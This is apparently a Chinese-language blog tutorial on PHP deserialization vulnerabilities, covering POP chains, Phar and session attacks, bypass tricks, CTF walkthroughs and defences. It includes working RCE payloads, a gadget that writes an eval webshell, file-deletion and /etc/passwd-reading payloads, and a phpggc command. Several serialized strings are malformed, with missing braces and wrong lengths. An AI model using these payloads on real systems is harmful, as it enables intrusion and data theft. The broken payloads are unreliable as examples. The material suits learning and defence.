文章

PHP反序列化漏洞完全指南:原理、技巧与防御

PHP反序列化漏洞完全指南:原理、技巧与防御

免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

目录


什么是PHP反序列化漏洞

PHP反序列化漏洞(PHP Deserialization Vulnerability) 是一种常见的Web安全漏洞,攻击者通过构造恶意的序列化数据,在目标系统反序列化时触发恶意代码执行,从而实现远程代码执行(RCE)、文件操作、SQL注入等攻击。

漏洞产生的根本原因

PHP反序列化漏洞产生的根本原因是:应用程序对用户可控的序列化数据没有进行充分验证,直接进行反序列化操作,且反序列化的类中存在危险的魔术方法或可被利用的方法链。

漏洞危害

危害类型具体表现
远程代码执行执行任意系统命令
文件操作读取、写入、删除任意文件
SQL注入通过反序列化触发SQL注入
权限绕过绕过身份认证机制
信息泄露读取敏感配置文件
拒绝服务构造特殊数据导致系统崩溃

常见触发场景

  1. 用户输入直接反序列化:unserialize($_GET['data'])
  2. Cookie反序列化:unserialize($_COOKIE['user'])
  3. Session反序列化:Session处理器配置不当
  4. Phar文件操作:通过文件函数触发Phar反序列化
  5. 缓存系统:Redis、Memcached等缓存数据反序列化
  6. 消息队列:RabbitMQ、Kafka等消息反序列化

PHP序列化基础

什么是序列化与反序列化

序列化(Serialization) 是将对象转换为可存储或传输的字符串格式的过程。 反序列化(Deserialization) 是将序列化后的字符串还原为对象的过程。

PHP序列化函数

1
2
3
4
5
6
7
<?php
// 序列化
$serialized = serialize($object);

// 反序列化
$object = unserialize($serialized);
?>

PHP序列化格式详解

PHP序列化后的字符串具有特定的格式规范:

类型标识含义示例
a数组(array)a:2:{i:0;s:4:"test";i:1;i:123;}
b布尔值(boolean)b:1; (true), b:0; (false)
d浮点数(double)d:3.14;
i整数(integer)i:123;
s字符串(string)s:4:"test";
O对象(object)O:4:"User":1:{s:4:"name";s:5:"admin";}
NNULLN;
C自定义序列化(Serializable接口)C:4:"Test":6:{a:0:{}}

序列化示例

1
2
3
4
5
6
7
8
9
10
<?php
class User {
    public $name = "admin";
    private $password = "secret";
    protected $age = 25;
}

$user = new User();
echo serialize($user);
?>

输出结果:

1
O:4:"User":3:{s:4:"name";s:5:"admin";s:14:"Userpassword";s:6:"secret";s:6:"*age";i:25;}

属性修饰符的序列化表现

1
2
3
4
5
6
7
<?php
class Test {
    public $pub = "public";           // s:3:"pub"
    private $pri = "private";         // s:11:"Testpri" (类名+属性名)
    protected $pro = "protected";     // s:6:"*pro" (*+属性名)
}
?>

注意:

  • public属性:直接存储属性名
  • private属性:存储为 \x00类名\x00属性名
  • protected属性:存储为 \x00*\x00属性名

漏洞原理

基本漏洞示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Vulnerable {
    public $cmd;
    
    function __destruct() {
        // 危险操作:执行系统命令
        system($this->cmd);
    }
}

// 用户可控的输入
$data = $_GET['data'];
$user = unserialize($data);
?>

攻击Payload:

1
O:10:"Vulnerable":1:{s:3:"cmd";s:6:"whoami";}

当对象被销毁时,__destruct() 方法会自动执行 system("whoami")。

攻击流程

1
寻找反序列化入口 → 寻找可利用的类/方法 → 构造恶意序列化数据 → 触发反序列化 → 执行恶意代码

漏洞代码特征

危险代码模式1:直接反序列化用户输入

1
2
3
4
<?php
$data = $_POST['data'];
$obj = unserialize($data);  // 危险!
?>

危险代码模式2:不安全的魔术方法

1
2
3
4
5
6
7
8
9
10
11
<?php
class Dangerous {
    function __destruct() {
        file_put_contents($this->file, $this->content);
    }
    
    function __wakeup() {
        eval($this->code);
    }
}
?>

危险代码模式3:存在方法链的类

1
2
3
4
5
6
7
8
9
<?php
class Chain {
    public $obj;
    
    function __toString() {
        return $this->obj->getValue();
    }
}
?>

PHP魔术方法

PHP提供了一系列魔术方法,在特定情况下会自动调用,这些方法往往是反序列化漏洞的利用点。

常用魔术方法一览

魔术方法触发时机利用场景
__construct()创建对象时一般不用于反序列化攻击
__destruct()对象销毁时最常用,用于执行恶意代码
__wakeup()反序列化时用于初始化,可绕过或利用
__toString()对象被当作字符串时用于触发其他方法
__call()调用不存在的方法时方法链构造
__get()访问不存在的属性时属性链构造
__set()设置不存在的属性时属性链构造
__invoke()对象被当作函数调用时函数调用链
__sleep()序列化时控制序列化行为
__unserialize()反序列化时(PHP 7.4+)替代__wakeup

__destruct() 利用示例

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class FileDeleter {
    public $filename;
    
    function __destruct() {
        unlink($this->filename);  // 删除文件
    }
}

// 攻击者可以删除任意文件
$payload = 'O:11:"FileDeleter":1:{s:8:"filename";s:9:"index.php";}';
?>

__wakeup() 利用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Logger {
    public $logfile;
    public $logdata;
    
    function __wakeup() {
        // 反序列化时自动写入日志
        file_put_contents($this->logfile, $this->logdata);
    }
}

// 可以写入WebShell
$payload = 'O:6:"Logger":2:{s:7:"logfile";s:9:"shell.php";s:7:"logdata";s:25:"<?php @eval($_POST[1]);?>";';
?>

__toString() 利用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class User {
    public $name;
    
    function __toString() {
        return "User: " . $this->name;
    }
}

class Query {
    public $user;
    
    function getUser() {
        // 触发__toString()
        $sql = "SELECT * FROM users WHERE name = '" . $this->user . "'";
        return $sql;
    }
}

// 构造POP链
$user = new User();
$user->name = "admin' OR '1'='1";

$query = new Query();
$query->user = $user;

echo serialize($query);
?>

__call() 利用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Evil {
    public $func;
    public $args;
    
    function __call($method, $args) {
        call_user_func_array($this->func, $this->args);
    }
}

class Normal {
    public $evil;
    
    function doSomething() {
        // 调用不存在的方法触发__call()
        $this->evil->nonExistentMethod();
    }
}
?>

漏洞类型

1. 普通反序列化漏洞

最简单的反序列化漏洞,直接利用单个类中的危险魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class SimpleRCE {
    public $cmd;
    
    function __destruct() {
        system($this->cmd);
    }
}

$data = $_GET['data'];
unserialize($data);
?>

Payload:

1
O:9:"SimpleRCE":1:{s:3:"cmd";s:6:"whoami";}

2. POP链攻击(Property Oriented Programming)

当单个类无法直接利用时,通过构造多个类之间的调用链来实现攻击。

POP链构造原理

1
起点(__destruct/__wakeup) → 中间类A → 中间类B → 终点(危险函数)

POP链示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
// 起点类
class Start {
    public $next;
    
    function __destruct() {
        $this->next->process();
    }
}

// 中间类
class Middle {
    public $func;
    public $arg;
    
    function process() {
        call_user_func($this->func, $this->arg);
    }
}

// 构造POP链
$middle = new Middle();
$middle->func = "system";
$middle->arg = "whoami";

$start = new Start();
$start->next = $middle;

echo serialize($start);
?>

生成的Payload:

1
O:5:"Start":1:{s:4:"next";O:6:"Middle":2:{s:4:"func";s:6:"system";s:3:"arg";s:6:"whoami";}}

3. Phar反序列化

Phar(PHP Archive)文件在解析时会自动反序列化其metadata,即使不使用 unserialize() 函数,通过文件操作函数也能触发反序列化。

受影响的函数

函数类别具体函数
文件操作file_exists(), file_get_contents(), fopen()
文件属性filesize(), filemtime(), fileperms()
目录操作is_dir(), is_file(), is_link()
图片处理getimagesize(), exif_read_data()
其他unlink(), copy(), rename(), stat()

Phar文件结构

1
2
3
4
5
Phar文件结构:
├── stub(Phar文件头)
├── manifest(文件清单,包含序列化的metadata)
├── contents(文件内容)
└── signature(签名)

Phar反序列化利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 1. 创建恶意Phar文件
class Evil {
    public $cmd = "whoami";
    
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());  // 存储序列化对象
$phar->addFromString("test.txt", "content");
$phar->stopBuffering();

// 2. 触发反序列化(通过文件函数)
file_exists("phar://test.phar");  // 触发反序列化
?>

4. Session反序列化漏洞

当PHP的Session处理器配置不当时,可能导致Session数据的反序列化漏洞。

漏洞场景

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// php.ini配置
// session.serialize_handler = php_serialize
// 但应用程序使用 php 处理器读取

// 写入Session(使用php_serialize处理器)
$_SESSION['data'] = '|O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}';
// 实际存储:a:1:{s:4:"data";s:43:"|O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}'";}

// 读取Session(使用php处理器)
// php处理器以|作为分隔符,会将后半部分当作对象反序列化
?>

Session处理器类型

处理器说明
php使用 | 分隔键值,值是序列化格式
php_serialize使用serialize()序列化整个数组
php_binary二进制格式,使用NULL分隔
wddx使用WDDX格式(如果安装)

5. 其他类型

SSRF结合反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class SSRF {
    public $url;
    
    function __destruct() {
        $ch = curl_init($this->url);
        curl_exec($ch);
    }
}

// 可以发起任意HTTP请求
$payload = 'O:4:"SSRF":1:{s:3:"url";s:22:"http://internal/admin/";';
?>

XXE结合反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class XXE {
    public $xml;
    
    function __wakeup() {
        $dom = new DOMDocument();
        $dom->loadXML($this->xml);
    }
}

// 可以触发XXE攻击
$payload = 'O:3:"XXE":1:{s:3:"xml";s:100:"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>";';
?>

POP链攻击

POP链构造方法论

步骤1:寻找起点

寻找具有 __destruct() 或 __wakeup() 方法的类,且这些方法会调用其他对象的方法或访问其他对象的属性。

1
2
3
4
5
6
7
8
9
10
<?php
// 好的起点示例
class GoodStart {
    public $obj;
    
    function __destruct() {
        $this->obj->clean();  // 调用其他对象的方法
    }
}
?>

步骤2:寻找中间跳板

寻找可以控制调用流程的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
// 跳板类1:__call魔术方法
class CallBridge {
    public $func;
    public $args;
    
    function __call($method, $args) {
        call_user_func_array($this->func, $this->args);
    }
}

// 跳板类2:__toString魔术方法
class StringBridge {
    public $obj;
    
    function __toString() {
        return $this->obj->getValue();
    }
}

// 跳板类3:可控方法调用
class MethodBridge {
    public $callback;
    public $param;
    
    function execute() {
        return call_user_func($this->callback, $this->param);
    }
}
?>

步骤3:寻找终点(危险函数)

1
2
3
4
5
6
7
8
9
<?php
// 危险函数列表
$dangerous_functions = [
    'system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open',  // 命令执行
    'eval', 'assert', 'preg_replace', 'create_function',               // 代码执行
    'file_get_contents', 'file_put_contents', 'unlink', 'fopen',       // 文件操作
    'mysqli_query', 'PDO::query',                                       // SQL操作
];
?>

常见框架POP链

Laravel框架

Laravel 5.4-5.8 存在已知的POP链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
// Laravel 5.8 POP链简化示例
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
        
        public function __destruct() {
            $this->events->dispatch($this->event);
        }
    }
}

namespace Illuminate\Events {
    class Dispatcher {
        protected $listeners;
        
        public function dispatch($event) {
            foreach ($this->listeners[$event] as $listener) {
                call_user_func($listener);
            }
        }
    }
}
?>

ThinkPHP框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// ThinkPHP 5.0.x POP链
namespace think {
    class Process {
        private $status;
        private $processInformation;
        
        public function __destruct() {
            $this->stop();
        }
        
        public function stop() {
            // 利用链...
        }
    }
}
?>

Symfony框架

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// Symfony POP链示例
namespace Symfony\Component\Cache {
    class CacheItem {
        protected $key;
        protected $value;
        
        public function __destruct() {
            $this->pool->save($this);
        }
    }
}
?>

完整POP链构造示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
// 目标:实现远程代码执行

// 起点类
class Start {
    public $object;
    
    function __destruct() {
        $this->object->run();
    }
}

// 中间类1
class Middle1 {
    public $callback;
    
    function run() {
        call_user_func($this->callback);
    }
}

// 中间类2 - 使用__call
class Middle2 {
    public $func;
    public $args = [];
    
    function __call($method, $args) {
        call_user_func_array($this->func, $this->args);
    }
}

// 中间类3 - 使用__toString
class Middle3 {
    public $obj;
    
    function __toString() {
        return $this->obj->execute();
    }
}

// 终点类
class End {
    public $cmd;
    
    function execute() {
        system($this->cmd);
        return "done";
    }
}

// 构造POP链
$end = new End();
$end->cmd = "whoami";

$middle3 = new Middle3();
$middle3->obj = $end;

$middle1 = new Middle1();
$middle1->callback = [$middle3, "nonExistentMethod"];  // 触发__call

$start = new Start();
$start->object = $middle1;

echo urlencode(serialize($start));
?>

利用技巧

1. Gadget构造技巧

利用文件操作类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 文件读取Gadget
class FileReader {
    public $file = "/etc/passwd";
    
    function __destruct() {
        echo file_get_contents($this->file);
    }
}

// 文件写入Gadget(WebShell)
class FileWriter {
    public $file = "shell.php";
    public $content = "<?php @eval($_POST[1]);?>";
    
    function __destruct() {
        file_put_contents($this->file, $this->content);
    }
}
?>

利用数据库操作类

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class SQLInjector {
    public $query = "SELECT * FROM users";
    private $conn;
    
    function __wakeup() {
        $this->conn = new mysqli("localhost", "user", "pass", "db");
        $result = $this->conn->query($this->query);
        // 输出结果...
    }
}
?>

2. 原生类利用

PHP内置的一些类也可以用于构造Gadget:

1
2
3
4
5
6
7
<?php
// Error/Exception类用于XSS
$e = new Error("<script>alert(1)</script>");
echo urlencode(serialize($e));

// 反序列化后调用__toString()可能触发XSS
?>

3. 字符串操作类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// 利用字符串操作触发其他操作
class StringManipulator {
    public $str;
    
    function __toString() {
        return strtoupper($this->str);
    }
}

class Trigger {
    public $obj;
    
    function __destruct() {
        $sql = "SELECT * FROM users WHERE name = '$this->obj'";
        // 执行查询...
    }
}
?>

4. 数组操作技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 利用数组迭代触发操作
class ArrayIterator {
    public $data;
    
    function __destruct() {
        foreach ($this->data as $key => $value) {
            // 处理数据...
            process($key, $value);
        }
    }
}
?>

5. 条件竞争利用

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 利用fast-destruct绕过某些检查
class FastDestruct {
    public $ref;
    
    function __destruct() {
        if (isset($this->ref)) {
            // 执行操作
            $this->ref->execute();
        }
    }
}
?>

绕过技巧

1. 属性数量绕过(CVE-2016-7124)

漏洞原理:当序列化字符串中表示的属性数量大于实际属性数量时,PHP会跳过 __wakeup() 方法的调用。

原始Payload:

1
O:4:"Test":1:{s:4:"name";s:5:"admin";}

绕过Payload(属性数量+1):

1
O:4:"Test":2:{s:4:"name";s:5:"admin";}

利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Test {
    public $name;
    
    function __wakeup() {
        // 安全检查或初始化
        $this->name = "filtered";
    }
    
    function __destruct() {
        echo $this->name;  // 输出: admin(绕过了__wakeup)
    }
}

// 绕过__wakeup
$data = 'O:4:"Test":2:{s:4:"name";s:5:"admin";}';
unserialize($data);
?>

2. 加号绕过(对象引用)

利用 + 号绕过某些字符过滤:

1
O:+4:"Test":1:{s:4:"name";s:5:"admin";}

3. 引用绕过

利用引用保持对象关系:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class A {
    public $b;
}

class B {
    public $a;
}

$a = new A();
$b = new B();
$a->b = $b;
$b->a = &$a;  // 引用

echo serialize([$a, $b]);
?>

4. 十六进制绕过

类名和属性名可以使用十六进制表示:

1
O:4:"Test":1:{S:4:"\6e\61\6d\65";s:5:"admin";}

5. 大写S表示十六进制字符串

1
O:4:"Test":1:{S:10:"\6e\61\6d\65";s:5:"admin";}

6. 嵌套数组绕过

1
2
3
4
<?php
// 利用嵌套数组绕过某些检查
$payload = 'a:2:{i:0;O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}i:1;N;}';
?>

7. 字符编码绕过

1
2
3
4
<?php
// 利用不同编码绕过过滤
$payload = urldecode('O%3A4%3A%22Test%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3B%7D');
?>

8. 伪协议绕过

1
2
3
4
5
6
7
8
9
10
<?php
// 利用伪协议读取文件
class FileReader {
    public $file = "php://filter/read=convert.base64-encode/resource=/etc/passwd";
    
    function __destruct() {
        include($this->file);
    }
}
?>

9. Fast-Destruct技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 利用引用计数快速触发__destruct
class FastDestruct {
    public $value;
    
    function __destruct() {
        var_dump($this->value);
    }
}

// 通过数组引用快速销毁
$a = [new FastDestruct(), "xxx"];
unset($a[0]);
?>

10. Session处理器绕过

1
2
3
4
5
6
7
8
9
<?php
// 利用不同处理器之间的差异
ini_set('session.serialize_handler', 'php_serialize');
$_SESSION['data'] = '|O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}';

// 另一处使用php处理器读取
ini_set('session.serialize_handler', 'php');
session_start();  // 触发反序列化
?>

防御措施

1. 代码层面防御

永远不要反序列化用户输入

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 危险的写法
$data = $_GET['data'];
$obj = unserialize($data);

// 安全的写法:使用JSON替代
$data = $_GET['data'];
$obj = json_decode($data, true);

// 或者使用白名单验证
$allowed_classes = ['User', 'Product'];
$obj = unserialize($data, ['allowed_classes' => $allowed_classes]);
?>

使用白名单限制反序列化类

1
2
3
4
5
6
7
8
9
10
<?php
// PHP 7.0+ 支持allowed_classes选项
$data = $_POST['data'];
$obj = unserialize($data, [
    'allowed_classes' => ['SafeClass1', 'SafeClass2']
]);

// 禁止所有类反序列化
$obj = unserialize($data, ['allowed_classes' => false]);
?>

实现安全的__wakeup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class SafeClass {
    public $data;
    
    function __wakeup() {
        // 重置敏感属性
        $this->internal_state = null;
        
        // 验证数据完整性
        if (!$this->validate()) {
            throw new Exception("Invalid data");
        }
    }
    
    private function validate() {
        // 验证逻辑
        return is_array($this->data);
    }
}
?>

使用签名验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class SignedData {
    private $secret = "your-secret-key";
    
    public function serialize($data) {
        $serialized = serialize($data);
        $signature = hash_hmac('sha256', $serialized, $this->secret);
        return $signature . '|' . $serialized;
    }
    
    public function unserialize($data) {
        list($signature, $serialized) = explode('|', $data, 2);
        $expected = hash_hmac('sha256', $serialized, $this->secret);
        
        if (!hash_equals($expected, $signature)) {
            throw new Exception("Invalid signature");
        }
        
        return unserialize($serialized);
    }
}
?>

2. 配置层面防御

禁用危险函数

1
2
; php.ini
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,eval,assert

配置Session安全

1
2
3
4
5
6
; php.ini
session.serialize_handler = php_serialize
session.auto_start = 0
session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1

禁用Phar包装器

1
2
3
; php.ini
; 如果不需要Phar功能,可以禁用
; 注意:这可能会影响某些依赖Phar的应用

3. 架构层面防御

使用JSON替代序列化

1
2
3
4
5
6
7
8
<?php
// 不安全的序列化
$cookie = base64_encode(serialize($user_data));

// 安全的JSON
$cookie = base64_encode(json_encode($user_data));
$user_data = json_decode(base64_decode($cookie), true);
?>

数据签名验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function create_signed_cookie($data, $secret) {
    $json = json_encode($data);
    $signature = hash_hmac('sha256', $json, $secret);
    return base64_encode($json) . '.' . $signature;
}

function verify_signed_cookie($cookie, $secret) {
    list($encoded, $signature) = explode('.', $cookie);
    $json = base64_decode($encoded);
    $expected = hash_hmac('sha256', $json, $secret);
    
    if (!hash_equals($expected, $signature)) {
        return null;
    }
    
    return json_decode($json, true);
}
?>

4. 安全开发最佳实践

安全编码检查清单

  • 永远不要反序列化用户可控的数据
  • 如果必须反序列化,使用 allowed_classes 限制类
  • 在 __wakeup() 中进行数据验证
  • 使用JSON等安全格式替代序列化
  • 对序列化数据进行签名验证
  • 定期审计代码中的反序列化操作
  • 使用静态分析工具检测潜在漏洞

安全测试工具

工具用途链接
PHPGGCPHP Gadget生成器https://github.com/ambionics/phpggc
ysoserialJava反序列化工具(原理参考)https://github.com/frohoff/ysoserial
PSPY进程监控https://github.com/DominicBreuker/pspy
Burp SuiteWeb安全测试https://portswigger.net/burp

实战案例

案例1:简单的CTF题目

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Flag {
    private $flag = "flag{this_is_secret}";
    
    function __destruct() {
        echo $this->flag;
    }
}

$data = $_GET['data'];
unserialize($data);
?>

解题思路:

  1. 分析代码发现 Flag 类的 __destruct() 方法会输出 $flag 属性
  2. 构造Payload读取flag

Payload:

1
O:4:"Flag":1:{s:10:"Flagflag";s:21:"flag{this_is_secret}";}

注意:private属性需要包含类名,格式为 %00类名%00属性名

案例2:POP链构造题目

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Start {
    public $obj;
    
    function __destruct() {
        $this->obj->action();
    }
}

class Middle {
    public $func;
    public $arg;
    
    function action() {
        call_user_func($this->func, $this->arg);
    }
}

$data = $_GET['data'];
unserialize($data);
?>

解题思路:

  1. Start::__destruct() 调用 $this->obj->action()
  2. Middle::action() 执行 call_user_func($this->func, $this->arg)
  3. 构造POP链执行任意命令

Payload生成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Start {
    public $obj;
}

class Middle {
    public $func;
    public $arg;
}

$middle = new Middle();
$middle->func = "system";
$middle->arg = "cat /flag";

$start = new Start();
$start->obj = $middle;

echo urlencode(serialize($start));
?>

案例3:Phar反序列化题目

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Evil {
    public $cmd;
    
    function __destruct() {
        system($this->cmd);
    }
}

$filename = $_GET['file'];
if (file_exists($filename)) {
    echo "File exists";
}
?>

解题思路:

  1. 发现 file_exists() 函数会触发Phar反序列化
  2. 创建包含恶意对象的Phar文件
  3. 通过 phar:// 协议触发

利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Evil {
    public $cmd = "cat /flag";
}

@unlink("evil.phar");
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->addFromString("test.txt", "content");
$phar->stopBuffering();

// 重命名为图片绕过检查
rename("evil.phar", "evil.gif");
?>

触发Payload:

1
?file=phar://uploads/evil.gif

案例4:真实漏洞案例 - Laravel反序列化漏洞(CVE-2019-9081)

漏洞概述: Laravel框架在处理队列任务时存在反序列化漏洞,攻击者可以构造恶意Payload实现远程代码执行。

影响版本: Laravel 5.7.x < 5.7.28, 5.8.x < 5.8.12

利用工具:

1
2
# 使用PHPGGC生成Payload
phpggc Laravel/RCE5 "system('whoami')" -b

防御建议:

  • 及时更新框架版本
  • 不要反序列化用户可控数据
  • 使用签名验证队列任务

总结

攻击要点

  1. 寻找反序列化入口:unserialize()、phar://、Session等
  2. 寻找可利用的类:包含危险魔术方法的类
  3. 构造POP链:通过多个类的方法链实现攻击
  4. 绕过安全机制:属性数量绕过、字符编码绕过等

防御要点

  1. 永远不要反序列化用户输入
  2. 使用JSON等安全格式替代
  3. 如果必须反序列化,使用 allowed_classes 限制
  4. 对序列化数据进行签名验证
  5. 定期审计代码中的反序列化操作

学习资源

参考资源


本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

本文最后更新于:2026年3月16日

本文由作者按照 CC BY 4.0 进行授权